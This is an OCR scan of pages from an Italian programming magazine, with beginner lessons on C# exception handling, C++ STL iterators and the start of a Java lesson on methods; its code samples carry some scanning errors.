eccezioni, si è costretti a lavorare seguendo 
uno schema logico del tipo: 

Posso scrivere il file? La periferica necessaria è 
connessa e pronta all'uso? Ho i permessi? C'è 
abbastanza spazio? In caso affermativo proce- 
di, altrimenti interrompi ed informa l'utente. 

Apri il canale di comunicazione per la scrittu- 
ra del file. 

Il canale è stato realmente aperto? Funziona? 
Può essere usato? In caso affermativo procedi, 
altrimenti interrompi ed informa l'utente. 

Scrivi n byte nel canale di comunicazione. 



Il canale è ancora attivo? Sono intervenuti 
problemi? Non è che la periferica è stata 
rimossa? Se tutto è in ordine, torna al punto 4 
ed inizia un nuovo ciclo. Altrimenti interrom- 
pi ed informa l'utente. 

Un codice di questo tipo presenta diversi 
svantaggi: 

• È facile dimenticarsi di controllare una 
peculiare situazione inattesa, con la conse- 
guenza di rendere meno stabile il program- 
ma risultante. 

• Il codice è prolisso. 

• La routine che cura il controllo delle situa- 
zioni eccezionali e quella che cura l'effetti- 
va scrittura del file sono fortemente accop- 
piate. Ciò è male. Aggiornare il software è 
più difficile. 

C# e .NET risolvono elegantemente il proble- 
ma. Attraverso i meccanismi di gestione delle 
eccezioni, che esamineremo tra poco, tutta la 
procedura si semplifica al seguente modo: 

• Stabilisci il canale di comunicazione per la 
scrittura del file. 

• Scrivi il file. 

• Ci sono stati problemi durante le operazio- 
ni precedenti? In caso affermativo, esami- 
na le informazioni sulla situazione eccezio- 
nale riscontrata, ed agisci di conseguenza. 

Ogni problema è risolto: 




□ CD □ WEB 

codici_csharp21.zip 



^ 



Se hai scritto tutti i byte del file esci, altrimen- • Non è possibile dimenticarsi di alcune si- 
ti procedi. tuazioni eccezionali, perché il linguaggio ci 



Gennaio 2004/101 ► 




CORSI BASE T 



I 



c# 





costringe a prenderle in considerazione 
tutte, ricordando quali sono e quando pos- 
sono accadere. 

• Il codice è snello ed agile. 

• I primi due punti dell'algoritmo gestiscono 
la scrittura del file, mentre l'ultimo serve 
esclusivamente al riscontro delle situazioni 
eccezionali. I due blocchi, pertanto, non so- 
no accoppiati, e possono essere manipolati 
l'uno indipendentemente dall'altro. 



ALLA BASE 
DI TUTTO: 
TRY... CATCH 

C# mette a disposizione due parole chiave, 
try e catch, indispensabili per la gestione 
delle eccezioni. Le situazioni inattese posso- 
no essere previste e gestiste alla seguente 
maniera: 




Il codice rischioso, vale a dire la sequenza di 
istruzioni che può incappare in situazioni 



Ofrject 



Exceplion 



SysieroExceplion 





SysiemExoeplion 
Classes 








Application E xcepticn 












Your ExcepSon 
C'asses 



Fig. 1: Gerarchia della classe Exception. 

eccezionali che ne compromettono il funzio- 
namento, viene racchiuso in uno speciale 
blocco contrassegnato dalla parola try. Ad es- 
so viene fatto seguire un secondo blocco, 
contraddistinto dalla parola catch e dalla spe- 
cifica del tipo di eccezione che si intende 
gestire. Al suo interno viene scritto il codice 
capace di interpretare l'eccezione riscontrata 
e di agire di conseguenza (ad esempio, infor- 
mando l'utente del problema, oppure cercan- 
do di eliminarne le cause per poi tentare 
ancora l'operazione). 



Il contenuto del blocco try viene sempre ese- 
guito per primo, in maniera sequenziale. Non 
appena una delle istruzioni contenute al suo 
interno causa un evento eccezionale (in 
gergo si dice "lancia un'eccezione" o "solleva 
un'eccezione") di un tipo compatibile con 
quello dichiarato nel blocco catch, l'esecuzio- 
ne del blocco try viene definitivamente inter- 
rotta. Il controllo viene passato al contenuto 
del blocco catch, che prenderà le dovute con- 
tromisure. Il codice contenuto in un blocco 
catch dispone di una variabile di tipo TipoEc- 
cezione, chiamata nomeEccezione, che riporta 
tutto quello che c'è da sapere sul problema 
riscontrato. 

Terminata l'esecuzione del blocco catch, il 
programma prosegue con quello che c'è dopo 
l'intera struttura try... catch. 
Se, durante l'esecuzione del blocco try, non 
viene sollevata alcuna eccezione, il blocco 
catch sarà ignorato, come se non esistesse. 
Tornando all'esempio del paragrafo prece- 
dente (la scrittura di un file di testo), si elabo- 
ra il seguente pseudo-codice: 

try 

{ 

// Apri il canale per la scrittura. 

// Scrivi il file. 

} 

catch (EccezioneNellaCreazioneDiUnFile e) 

{ 

// Gestisci il problema, i cui dettagli sono conservati 
// nella variabile e. 

} 



LA CLASSE 
SYSTEM. EXCEPTION 

In questo paragrafo ci soffermeremo sullo 
speciale parametro di ogni blocco catch, che 
riporta i particolari della situazione anomala 
da gestire. L'oggetto ha duplice scopo: 

• Informa il runtime di .NET su quale sia il 
tipo di eccezione che il blocco catch può 
gestire. 

• Fornisce al codice del blocco catch delle in- 
formazioni aggiuntive, che svelano i parti- 
colari del problema riscontrato. 

Nella libreria standard di .NET c'è la classe 
System. Exception. Tale classe è in cima alla 
gerarchia delle eccezioni. Tutte le altre classi 
di eccezioni, pertanto, sono sottoclassi di Ex- 
ception. In primo luogo, da System. Exception 



► 102/Gennaio 2004 




c# 



I 



T CORSI BASE 




derivano System. SystemException e System. - 
ApplicationException. 

Queste due classi corrispondono alle due 
categorie generali di eccezioni disponibili in 
C# e .NET, e distinguono le eccezioni definite 
dal sistema da quelle definite dall'applicazio- 
ne. Semplificando, derivano da SystemExcep- 
tion tutte quelle eccezioni generiche previste 
dal runtime di .NET, mentre per definire delle 
eccezioni personalizzate utili per i peculiari 
casi di una propria applicazione è necessario 
estendere ApplicationException. 
Tutte le classi Exception dispongono di un 
membro Message, di tipo string, che fornisce 
informazioni sul tipo di eccezione generata 
dal sistema o dall'applicazione. Ogni sotto- 
classe di Exception, poi, definisce nuovi 
membri che risultano utili nei singoli casi del 
loro impiego. 



uni ESEMPIO 
PRATICO 

Si prenda in esame la seguente classe: 



class Test 


{ 


public static void Main() 


{ 


int a = 5; 


int b = 0; 


int e = a / b; 


System. Console. WriteLine(c); 


} 


} 



All'esecuzione del codice, si riscontra il se- 
guente messaggio di errore: 

Eccezione non gestita: 
System. DivideByZeroException: 
Tentativo di divisione per zero, 
at Test.MainQ 

In effetti, è stata tentata una divisione per ze- 
ro, operazione chiaramente illecita. Ovvia- 
mente, nessuno andrà mai a scrivere del co- 
dice come quello mostrato nell'esempio, poi- 
ché, a priori, saprà che la divisione per zero 
non è possibile. Tuttavia, delle cause di runti- 
me potrebbero portare ad un tentativo del 
genere. Supponiamo che l'intero b, anziché 
essere inizializzato all'interno del codice, 
debba essere acquisito dall'esterno. 
Ad esempio, può accadere che la sua immis- 
sione sia richiesta all'utente. In casi come 
questo, è possibile che un cattivo input porti 



ad un'operazione non eseguibile. Il blocco 
del programma può essere prevenuto in due 
distinte maniere: 

• Controllando ogni fattore del codice 
rischioso. 

• Mettendo a lavoro la gestione delle ecce- 
zioni di C# e .NET. 

Benché sia sempre possibile rifarsi al primo 
modello, con esso si ricade nella inefficiente 
situazione illustrata nel primo paragrafo della 
lezione. Pertanto, il secondo modello è da 
preferirsi: 

class Test 

{ 

public static void MainQ 

{ 

try 

_J 

int a = 5; 

int b = 0; 

int e = a / b; 

System-Console. WriteLine(c); 

} 

catch (System .DivideByZeroException e) 

{ 

System. Console. Writel_ine("Blocco del 

programma evitato!"); 

System. Console. Writel_ine("Ho catturato 

un'eccezione, il cui messaggio e':"); 

System .Console. WriteLine(e. Message);} 

_} 

} 

Gestendo le eccezioni di tipo System. Divide- 
ByZeroException il blocco del programma è 
stato evitato. Ora il codice è più robusto. 



PIÙ BLOCCHI CATCH 

Può capitare che un'operazione possa solle- 
vare più eccezioni. Ad esempio, la lettura di 
un file può incappare in differenti tipi di ano- 
malie: l'inesistenza del file, la mancanza dei 
permessi necessari, l'improvvisa chiusura del 
canale di comunicazione stabilito e così via. 
Per gestire più situazioni anomale causate da 
un solo blocco try, esistono due soluzioni: 

• Realizzare un solo blocco catch che catturi 
un'eccezione di tipo generico, ad esempio 
proprio di tipo System. Exception. Poiché 
tutte le eccezioni discendono da Exception, 
ciò è sempre possibile. 





SUL WEB 



Ecco un pugno di siti 
dove attraverso cui 
approfondire la propria 
conoscenza della 
piattaforma .Net: 

http://msdn.microsoft.com 

www.csharphelp.com 

http://www.dotnet247.com 

www.visual-basic.it 

www.gotdotnet.com 



Gennaio 2004/103 ► 




CORSI BASE T 



I 



C# 





BIBLIOGRAFIA 



• GUIDA A C# 
Herbert Schildt 
(MCGRAW-HILL) 
ISBN 88-386-4264-8 
2002 

• INTRODUZIONE A C# 
Eric Gunnerson 
(Mondadori 
Informatica) 

ISBN 88-8331-185-X 
2001 

• C# GUIDA PER LO 
SVILUPPATORE 
Simon Robinson e altri 
(Hoepli) 

ISBN 88-203-2962-X 
2001 



• Associare più blocchi catch ad un solo bloc- 
co try. C# prevede questa possibilità. 

La seconda soluzione è solitamente da prefe- 
rirsi, perché isola i differenti problemi e li 
gestisce l'uno indipendentemente dall'altro. 
Torna alla ribalta il solito discorso, sulla 
buona abitudine di mantenere separati i 
blocchi di codice che si occupano di compiti 
differenti. Mettere in pratica la tecnica è 
molto semplice: 

try 

{ // Codice rischioso 

> 

catch (TipoEccezionel e) 

{ // Gestisci TipoEccezionel 

> 

catch (TipoEccezione2 e) 

{ // Gestisci TipoEccezione2 

> 

catch (TipoEccezione3 e) 

{ // Gestisci TipoEccezione3 

} 

Quando il codice a rischio propaga un'ecce- 
zione, i blocchi catch sono passati in rassegna 
l'uno dietro l'altro, nell'esatto ordine in cui 
compaiono. Non appena viene individuato 
un blocco capace di gestire l'eccezione, il 
controllo è passato al suo contenuto. Un 
blocco catch è idoneo alla gestione se l'ecce- 
zione gestita è proprio dello stesso tipo di 
quella propagata, ma anche quando ne è 
superclasse. 

Quindi, i differenti blocchi catch devono 
sempre essere organizzati coerentemente. Bi- 
sogna viaggiare dall'eccezione più specifica a 
quella più generica, mai in ordine inverso. 
Prendete in considerazione la seguente clas- 
se: 



Non è possibile compilare. Si riceve l'errore: 

error CS0160: Una clausola catch precedente 
rileva già tutte le eccezioni del tipo this o super 
("System.Exception"). 

Il compilatore ha la creanza di informarci che 
è sbagliato gestire prima Exception e poi Divi- 
deByZeroException. La seconda, infatti, è sot- 
toclasse della prima. Gestendo Exception, è 
stata già gestita anche DivideByZeroExcep- 
tion. 



BLOCCHI 

TRY ANNIDATI 

Un'altra tecnica utile per gestire più eccezio- 
ni, valida soprattutto quando molte istruzio- 
ni partecipano al codice rischioso, consiste 
nell' annidare più strutture try... catch, l'una 
dentro l'altra. 
Una cosa come la seguente: 

try 

{ 

//■■■ 

try 

_J 

//■■■ 

_J 

catch (Eccezionel e) 

_J 

//■■■ 

} 

//■■■ 

} 

catch (Eccezione2 e) 

{ 

//■■■ 

} 



class Test 

{ public static void MainQ 

{ try 

{ int a = 5; 

int b = 0; 

int e = a / b; 

System .Console. WriteLine(c); 

} 

catch (System.Exception e) 

{ System .Console. WriteLine("Exception"); 

_J 

catch (System.DivideByZeroException e) 

{ System .Console. WriteLine("DivideByZeroException"); 

} 

> 



Supponiamo che il contenuto del secondo 
blocco try, quello più interno, propaghi 
un'eccezione. Se l'anomalia può essere gesti- 
ta dal catch corrispondente, cioè se è istanza 
di Eccezionel, il controllo sarà passato pro- 
prio a questo blocco. Quindi, l'esecuzione 
ripartirà esattamente dopo di esso, rimanen- 
do pertanto all'interno del blocco try più 
esterno. 

Al contrario, se l'eccezione non può essere 
gestita dal catch interno, ma solamente da 
quello esterno {EccezioneZ) , allora l'esecuzio- 
ne salterà direttamente all'interno di que- 
st'ultimo. Terminata la gestione, ci si ritroverà 
fuori del blocco try più esterno. 

Carlo Pelliccia 



V 104/Gennaio 2004 



c++ 



T CORSI BASE 



Alla scoperta delle più utili funzioni delle STL 

Gli Iteratori 

Nella puntata precedente, abbiamo parlato dei contenitori, cioè 
di quegli elementi unificatori che permettono l'accesso ad insiemi 
di elementi. In questa puntata vedremo come si concretizza tale 
modalità di accesso. 



Creare un contenitore, da quanto visto 
nella puntata precedente, è di per se una 
cosa inutile se non si crea anche un itera- 
tore sul contenitore. In effetti, un contenitore 
può ospitare elementi, e al massimo possiamo 
aggiungere nuovi elementi o togliere quelli non 
più necessari: non abbiamo modo di ottenere 
qualcosa da un elemento facente parte di un 
contenitore, semplicemente perché non abbia- 
mo accesso agli elementi nel contenitore. 
È qui che entrano in gioco gli iteratori. Un itera- 
tore è l'astrazione del metodo di accesso ad una 
sequenza (o insieme) di elementi. In altre paro- 
le, un iteratore ci consente di recuperare, dato 
un contenitore, un riferimento ad un elemento 
del contenitore. In un certo senso possiamo 
pensare ad un iteratore come ad un puntatore, 
strettamente correlato col contenitore su cui 
lavora: tale puntatore di volta in volta "punterà" 
ad un elemento del contenitore (così come un 
comune puntatore "punta" ad una certa cella di 
memoria). In realtà, un iteratore differisce 
sostanzialmente da un puntatore per la gestio- 
ne molto controllata che fornisce: un iteratore 
non assumerà mai (come vedremo a breve) il 
valore NULL, e neanche un valore fuori control- 
lo. L'ambito d'azione (e di variabilità) di un ite- 
ratore è strettamente limitato da delle apposite 
funzioni di interfaccia che non ne permettono 
malfunzionamenti. 

È mediante gli iteratori che è possibile scindere 
i dati (presenti nei contenitori ed estratti trami- 
te iteratori) dagli algoritmi usati per elaborare 
gli stessi. Infatti, un contenitore contiene dei 
dati, e se definiamo su di esso un iteratore pos- 
siamo accedere ai suoi elementi mediante una 
sequenza di operazioni (cioè, mediante un 
certo algoritmo) che fa uso solo dell 'iteratore, 
non del contenitore. 

È con questo artificio che nella STL si sono 
costruiti algoritmi caratterizzati da una estrema 
portabilità. Tali algoritmi fanno uso di iteratori, 
i quali non dipendono dal particolare conteni- 



tore su cui sono usati: la logica conseguenza è 
che gli algoritmi non dipendono dai dati, ma 
solo dalle caratteristiche astratte dei dati, ad 
esempio un algoritmo di ordinamento dipen- 
derà dalla possibilità, in un certo insieme di 
dati, di stabilire se un valore è maggiore, mino- 
re o uguale a un altro valore, ma non dalla natu- 
ra del dato stesso (non ci interessa se sono inte- 
ri, valori in virgola mobile, caratteri alfabetici o 
altro). 



USO DEGLI 
ITERATORI 

Quando dobbiamo accedere agli elementi di un 
contenitore, possiamo usare un iteratore com- 
piendo sempre una sequenza di operazioni del 
tipo: 

//sia dato il contenitore "e" 

Iteratore i; //"i" è un iteratore di "e" 

//(dichiarato per semplicità in pseudo-codice 

for(i=c.begin(); i!=c.end(); i++) 

{ 

//facciamo quello che dobbiamo fare 

//con l'elemento corrente, cui 

//punta (al momento) l'iteratore 

cout << *i; //ad esempio stampiamo il suo valore 

} 

In realtà, un iteratore non si ottiene esattamen- 
te come nello pseudo-codice riportato (il quale 
ha il solo scopo di rendere il concetto di 
"dichiarazione di un iteratore"): siccome itera- 
tori e contenitori sono strettamente correlati, 
gli iteratori si ottengono a partire dai contenito- 
ri con opportune chiamate o dichiarazioni. 
Dato un contenitore, si può ottenere un iterato - 
re su di esso mediante una dichiarazione come 
la seguente: 

contenitore<T> : : iterator nomelteratore; 






□ CD □ WEB 

prova_iter.zip 


\ i0M CiT^J»'- ^My 



CONTENUTO E 
CONTENITORE 

E 1 mediante gli 
iteratori che è 
possibile scindere i 
dati (presenti nei 
contenitori e estratti 
tramite iteratori) dagli 
algoritmi usati per 
elaborare gli stessi. 
Infatti, un contenitore 
contiene dei dati, e se 
definiamo su di esso 
un iteratore possiamo 
accedere ai suoi 
elementi mediante una 
sequenza di operazioni 
(cioè, mediante un 
certo algoritmo) che fa 
uso solo dell 1 iteratore, 
non del contenitore. 



Dicembre 2003/105 ► 




CORSI BASE T 



I 



C++ 





ITERATORI 
DIVERSI 

Gli iteratori non sono 

tutti uguali: sono 

divisi in classi, e ogni 

classe ha delle 

proprietà che ne 

rendono utile (e 

pratico) l'uso in 

determinate 

situazioni. 



Ad esempio, si può creare un iteratore a parti- 
re dal contenitore vector<int> nel modo 
seguente: 

vector<int>::iterator i; 

Ogni contenitore è dotato della funzione 
beginQ: questa funzione può essere usata per 
produrre iteratori facenti riferimento al primo 
elemento del contenitore (ed è quindi utile per 
inizializzare un iteratore creato da noi). 
Ad esempio, dato un contenitore e di tipo vec- 
tor<int> } col codice: 

vector<int>::iterator i = c.begin(); 

si intende inizializzare un iteratore i facendolo 
"puntare" al primo elemento del contenitore. 
Oltre alla funzione beginQ ogni contenitore 
possiede anche un'altra utile funzione: la fun- 
zione end(). Tale funzione restituisce un itera- 
tore che fa riferimento alla prima posizione 
oltre l'ultimo elemento nel contenitore. Questa 
funzione (e l'iteratore da essa restituito) è 
molto utile proprio in situazioni come quella 
presentata in precedenza, in quanto ci permet- 
te di capire quando abbiamo finito di scorrere, 
col nostro iteratore, gli elementi del contenito- 
re, mediante un semplice controllo di ugua- 
glianza (operatore ==). Per iterare all'interno 
degli elementi di un contenitore, si usa in 
maniera molto intuitiva l'operatore di incre- 
mento (++), che applicato, nel nostro caso spe- 
cifico, ad un iteratore, ha il significato di: 
"Passa al prossimo elemento del contenitore". 
In pratica, quando cominciamo a iterare, asse- 
gniamo al nostro iteratore un valore iniziale 
che ci viene dato dalla funzione beginQ del 
contenitore; questa è una inizializzazione 
come quelle che abbiamo fatto spesso nell'ar- 
co di questo corso: è come se dicessimo "col 
nostro iteratore i iniziamo da dove inizia l'ite- 
ratore datoci dalla funzione c.beginQ del con- 
tenitore e". 

Man mano che incrementiamo l'iteratore (me- 
diante l'operatore di incremento, che ha il 
significato spiegato in precedenza) scorriamo 
gli elementi del contenitore, finché non rag- 
giungiamo la prima posizione che sta al di 
fuori del contenitore. 

Tale posizione è quella selezionata da un parti- 
colare iteratore: quello che ci viene restituito 
dalla funzione endQ del contenitore. Quando 
l'iteratore che stiamo usando per esplorare il 
contenitore raggiunge la medesima posizione 
di tale iteratore (che è quindi la prima al di 
fuori del contenitore), vuol dire che abbiamo 
finito gli elementi dell'insieme da iterare. 



ALCUNE 
PARTICOLARITÀ 

Notiamo innanzi tutto un dettaglio, che nello 
pseudo-codice presentato potrebbe non essere 
evidente. L'iteratore è un puntatore (anche se 
utilizzato in maniera particolare, come accen- 
nato all'inizio di questa puntata) ad un elemen- 
to nel contenitore (quello correntemente sele- 
zionato), quindi la riga di codice: 

cout << *i; 

il cui significato è "inserisci sul canale di output 
predefinito ciò che è puntato da i", richiama in 
realtà l'operatore « della classe cui appartiene 
l'oggetto puntato dall' iteratore. Ad esempio, se 
il contenitore e includesse oggetti di tipo 
Scheda, allora *i sarebbe un oggetto di tipo 
Scheda, e l'operatore chiamato sarebbe quindi 
Scheda: :operator«() proprio della classe Scheda. 
Non si può non ammirare questa incredibile 
coerenza e precisione negli incastri che è con- 
temporaneamente croce e delizia del C++ (che 
però ovviamente presuppone che il progettista 
della classe Scheda abbia predisposto l'overload 
di tale operatore, cioè che la classe Scheda sia 
stata fatta in maniera "coscienziosa"). 
Il classico problema di "outbyone" (cioè, di fuo- 
riuscita di un indice dal proprio range di valori 
possibili, che tipicamente si riscontra usando 
gli array e imponendo in un ciclo una condizio- 
ne errata di uscita), da cui nessuno di noi pro- 
grammatori è immune, con gli iteratori non ha 
motivo di esistere: un iteratore opera su un 
contenitore muovendosi all'interno di rigidi 
confini che sono fissati dal contenitore stesso 
tramite le funzioni beginQ ed endQ, cui non può 
sfuggire in quanto il suo incremento è attuato 
tramite funzioni apposite facenti parte della 
libreria standard (e quindi affidabili). 
Si noti che, parlando di iteratori, gli unici ope- 
ratori che possiamo sempre usare sono tre: l'o- 
peratore di incremento e gli operatori == e !=. 
Non possiamo quindi usare di default gli altri 
operatori quali < o >. In realtà, in alcuni casi si 
possono usare anche altri operatori, ma sostan- 
zialmente sono riconducibili a questi tre appe- 
na esposti. 

Un'ultima nota riguardo gli iteratori e i conteni- 
tori: alcuni contenitori possono definire sia ite- 
ratori "in avanti" che iteratori "ali 'indietro", 
cioè iteratori che scorrono gli elementi dall'ini- 
zio alla fine, ma anche dalla fine all'inizio. Il 
secondo tipo di iteratori si ottiene a partire dai 
contenitori usando funzioni analoghe a quelle 
appena viste, che sono la rbeginQ ed rendQ (la "r" 
iniziale sta per "reverse" cioè, appunto, "all'in- 



► 106/Dicembre 2003 




c++ 



I 



T CORSI BASE 




dietro"): la rbeginQ restituisce un iteratore posi- 
zionato sull'ultimo elemento del contenitore, 
mentre la rendo restituisce un iteratore posizio- 
nato appena prima del primo elemento del 
contenitore. Usando questi iteratori, possiamo 
scrivere uno stralcio di codice analogo a quello 
visto in precedenza, ma che scorra gli elementi 
di un contenitore in ordine inverso rispetto al 
caso precedente: 

//sia dato il contenitore "e" 

Iteratore i; 

for(i=c.rbegin(); i!=c.rend(); i++) 

{ 

//stiamo scorrendo gli elementi 

//del contenitore e in verso 

//contrario al precedente esempio 

cout << *i; 

> 



CLASSIFICAZIONE 
DEGLI ITERATORI 

Gli iteratori non sono tutti uguali: sono divisi in 
classi, e ogni classe ha delle proprietà che ne 
rendono utile (e pratico) l'uso in determinate 
situazioni. Tali classi sono: 

• input: permettono operazioni di input da 
elementi del contenitore; 

• output: permettono operazioni di output 
(cioè di scrittura) sugli elementi del conteni- 
tore; 

• forward: permettono di scorrere gli elementi 
del contenitore in un unico verso; 

• bidirectional: permettono di scorrere gli ele- 
menti del contenitore in entrambi i versi 
possibili; 

• random-access: permettono di accedere agli 
elementi del contenitore senza alcun vinco- 
lo. 

Possiamo pensare ad un iteratore random-ac- 
cess come a un generico iteratore, uno di tipo 
bidirectional è una specializzazione di quelli 
del random-access, uno di tipo forward è una 
versione limitata ad un solo verso di movimen- 
to del tipo bidirectional mentre le classi input ed 
output sono raffinamenti del tipo forward (limi- 
tate ad input ed output sugli elementi). 
Per tutti gli iteratori sono sempre definiti, ovvia- 
mente, gli operatori ++, * e ==. Tuttavia (come 
anticipato nel precedente paragrafo), per i tipi 



di iteratori più elaborati ne sono presenti anche 
altri, coerenti con le possibilità di utilizzo dell' i- 
teratore. Ad esempio, per un iteratore di tipo 
bidirectional è supportato anche l'operatore -- 
di decremento, mentre per gli iteratori di tipo 
random-access è supportato anche l'operatore 
+, che consente di spostarsi direttamente a una 
determinata posizione senza scorrere tutti gli 
elementi intermedi. 

Questa classificazione degli iteratori trova la 
sua applicazione pratica negli algoritmi facenti 
parte della STL: alcuni algoritmi sono struttura- 
ti per lavorare solo con iteratori di determinati 
tipi. 



UN SEMPLICE 
ESEMPIO 

Concludiamo con un esempio molto didattico 

sull'uso degli iteratori. 

Si consideri il seguente codice: 

#include <iostream> 

#include <vector> 

#include <string> 

using namespace std; 

int main(int arge, char **argv) { 

const vector<string> args(argv, argv + arge); 

vector<string>::const_iterator i; 

for(i=args.begin();i!=args.end();i++) 

cout << *i << endl; 

return 0; 

> 

Questo piccolo programmino contiene diversi 
spunti interessanti. Esso non fa altro che stam- 
pare a schermo gli argomenti passati al pro- 
gramma tramite riga di comando. 
Vediamo in dettaglio cosa accade: innanzitutto 
viene creato un vettore di stringhe di tipo 
costante, questo vuol dire che tale vettore non è 
modificabile dopo la sua creazione (ad esempio 
non è possibile aggiungere elementi tramite la 
push_back() vista nella scorsa lezione). Il vettore 
viene creato facendo ricorso al costruttore che 
prende in ingresso riferimenti al primo e all'ul- 
timo elemento. Possiamo notare infatti che il 
primo argomento (argv = argument values) è defi- 
nito (nella lista argomenti della mainO) come 
un puntatore a un array di caratteri (quindi un 
puntatore a puntatore di char: in questo caso la 
stringa è appunto un semplice array di caratte- 
ri); il secondo argomento è la somma tra il valo- 
re di argv (cioè, attenzione, il valore della loca- 
zione di memoria puntata e NON del primo 
carattere della stringa!) e arge (= argument count, 





CONTATTA 
GLI AUTORI 



Se hai suggerimenti, 
critiche, dubbi o 
perplessità sugli 
argomenti trattati e 
vuoi proporle agli 
autori puoi scrivere 
agli indirizzi: 

alfredo.marroccelli® 
ioprogrammo.it e 
marco.delgobbo@ 
ioprogrammo.it 

Questo contribuirà 
sicuramente a 
migliorare il lavoro di 
stesura delle prossime 
puntate. 



Dicembre 2003/107 ► 




CORSI BASE T 



I 



C++ 






APPROFONDIMENTI 



A chi volesse 

approfondire la sua 

conoscenza sulle 

librerie standard del 

C++, consigliamo il 

validissimo libro 

• THINKING IN C++ - 

2ND ED. - VOLUME 2 

Bruce Eckel 

e Chuck Allison 

che rappresenta 

sicuramente un ottimo 

riferimento per i 

programmatori più 

avanzati (o aspiranti 

tali) ed è oltretutto 

disponibile 

gratuitamente per il 

download, partendo 

dall'indirizzo 

http://www.mindview.net/ 

Books/TICPP/ 

ThinkinglnCPP2e.html 

Se volete invece dare 

un'occhiata a una 

reference delle 

funzioni standard del C 

per la manipolazione 

di stringhe (o meglio: 

di array di caratteri 

terminati da "\0" :-) 

consultate l'indirizzo: 

http://www.cplusplus.com 

/ref/cstring/ 

Online è inoltre 

disponibile l'utilissimo 

"C++ Annotations" 

all'URL: 

http://www.icce.rug.nl/do 

cuments/ 

che merita di essere 

visto (e letto) almeno 

una volta. 



cioè numero di argomenti). Tale somma rap- 
presenta proprio il puntatore alla cella di 
memoria che si trova appena dopo l'ultimo ele- 
mento che dovrà fare parte del vettore (sarà il 
valore restituito dalla funzione end())> in quan- 
to il programma vede la memoria come una 
lunga sequenza di celle adiacenti. 
Ad esempio se argv == 100 (cioè il puntatore 
alla prima stringa si trova nella cella di memo- 
ria 100) e argc == 3 (cioè abbiamo immesso una 
riga di comando con 3 parole) la somma 
argv+argc sarà uguale a 103, che è proprio la 
prima cella di memoria disponibile dopo l'ulti- 
mo elemento del vettore. Supponendo che il 
nostro programma si chiami prova_iter.exe, 
scrivendo: 

prova_iter.exe come va? 

avremo la seguente disposizione delle celle di 
memoria: 



cella 100: 


puntatore a "prova_iter.exe" 


cella 101: 


puntatore a "come" 


cella 102: 


puntatore a "va?" 


cella 103: 


prima cella libera successiva 



Da notare che nella reale implementazione di 
questo meccanismo, i puntatori di solito occu- 
pano 4 byte (32 bit), quindi, stampando l'effetti- 
vo valore delle celle puntate, si otterrebbero dei 
numeri (esadecimali) distanziati tra loro di 
quattro posizioni, ad esempio: 

0xa010760 

0xa010764 

0xa010768 

tuttavia questo particolare per noi è trasparen- 
te: non ci dobbiamo preoccupare della rappre- 
sentazione interna di un puntatore, ci basta 
sapere che aggiungendo 1 a un puntatore si 
passa al valore successivo. Questo permette al 
codice di funzionare anche su macchine che, ad 
esempio, rappresentano la memoria con indi- 
rizzi a 64 bit (8 byte) senza alcuna modifica al 
sorgente (è il compilatore che si occupa di que- 
sti problemi). Ricordiamoci bene questa riga di 
codice quindi: 

const vector<string> args(argv, argv + argc); 

essa ci permette in maniera facile ed elegante di 
immagazzinare gli argomenti di un programma 
in un vettore di stringhe che è di gran lunga di 
più facile e pratico utilizzo di un doppio punta- 
tore a char. 
Abbiamo dichiarato il vettore args di tipo 



costante, questo per introdurre un particolare 
tipo di iteratore, quello costante, tramite la 
scrittura: 

vector<string>::const_iterator i; 

Questo tipo di iteratore è necessario quando 
utilizziamo contenitori costanti. Si badi bene 
però che la dicitura "iteratore costante" non 
significa che il SUO valore resta costante nel 
tempo, ma semplicemente che esso è l'iteratore 
di un contenitore costante. A pensarci bene 
infatti avrebbe davvero poca utilità un iteratore 
che mantiene sempre lo stesso valore e non 
può... iterare! 

L'utilizzo di tipi costanti, laddove si può fare, 
porta alcuni vantaggi tra i quali un probabile 
aumento dell'efficienza di esecuzione (che 
dipende dalla particolare implementazione del 
compilatore e/o dal tipo di contenitore utilizza- 
to) e la possibilità di impedire modifiche acci- 
dentali di elementi di un contenitore, cosa che, 
progettando librerie software che verranno uti- 
lizzate da altre persone nei contesti più dispara- 
ti, è di enorme utilità. Il resto del programma di 
esempio è a questo punto banale, esso non fa 
altro che utilizzare l'iteratore per scorrere il con- 
tenuto di args e stamparlo a schermo; si noti 
anche in questo caso l'utilizzo dell'operatore * 
per l'accesso al valore puntato dall' iteratore: si 
agisce esattamente come se si avesse un punta- 
tore a stringa (string*) ed è questa la maggiore 
potenza degli iteratori. 



CONCLUSIONI 

Iteratori e contenitori rappresentano la base per 
costruire librerie software potenti e portabili 
come quelle implementate nella STL. La grande 
varietà di algoritmi presenti, infatti, fa largo uso 
di questi meccanismi e consente di utilizzare lo 
stesso identico codice per scrivere, ad esempio, 
una efficiente routine di ricerca di un elemento 
in un contenitore, sia questo una vettore, una 
lista collegata o un contenitore definito dall'u- 
tente. Inutile dire che l'utilizzo di questi algorit- 
mi ci fa risparmiare moltissimo tempo in fase di 
implementazione, utilizzando sempre codice 
robusto e praticamente bug-free. 
La conoscenza degli algoritmi delle STL dunque 
è un presupposto necessario per qualsiasi pro- 
grammatore C++ che si rispetti, ed è per questo 
che concentreremo la nostra attenzione su que- 
sto argomento nella prossima lezione. 
Buono studio! 

Alfredo Marroccelli 
Marco Del Gobbo 



► 108/Dicembre 2003 



Java 



▼ CORSI BASE 



Alla scoperta dei metodi 



Oggetti intelligenti 

Il mese scorso hai imparato a definire nuovi tipi con la parola chiave 

class. Hai anche usato i tipi per costruire "oggetti". 

Questo mese imparerai a costruire oggetti un po' più intelligenti. 



N 



on perdiamo tempo! Gli obiettivi di questa 
lezione: 



1) Imparerai cosa sono e come funzionano i 
metodi. 

2) Imparerai a restituire un valore di ritorno 
da un metodo. 

3) Parleremo del concetto di responsabilità. 

Cominciamo dal semplice programma del mese 
scorso: 



class Incrocio { 


public static void main(String[] args){ 


//crea il semaforo 


Semaforo s = new Semaforo(); 


// ripeti il ciclo del semaforo cinque volte 


for(int i = 1; i <= 5; i++) { 


// il semaforo diventa verde 


s. verde = true; 


s. giallo = false; 


s. rosso = false; 


// stampa lo stato del semaforo sullo schermo: 


System. out.println("V: " + s. verde + ", G 
s. giallo + ", R: " 


" + 
+ s. rosso); 


// possiamo passare? 


if(s. verde) 


System. out.println("Go!"); 


else 


System. out.println("Stop!"); 


// il semaforo diventa giallo 


s. verde = true; 


s. giallo = true; 


s. rosso = false; 


// stampa lo stato del semaforo sullo schermo: 


System. out.println("V: " + s. verde + ", G 
s. giallo + ", R: " 


" + 
+ s. rosso); 


// possiamo passare? 


if(s. verde) 


System. out.println("Go!"); 


else 


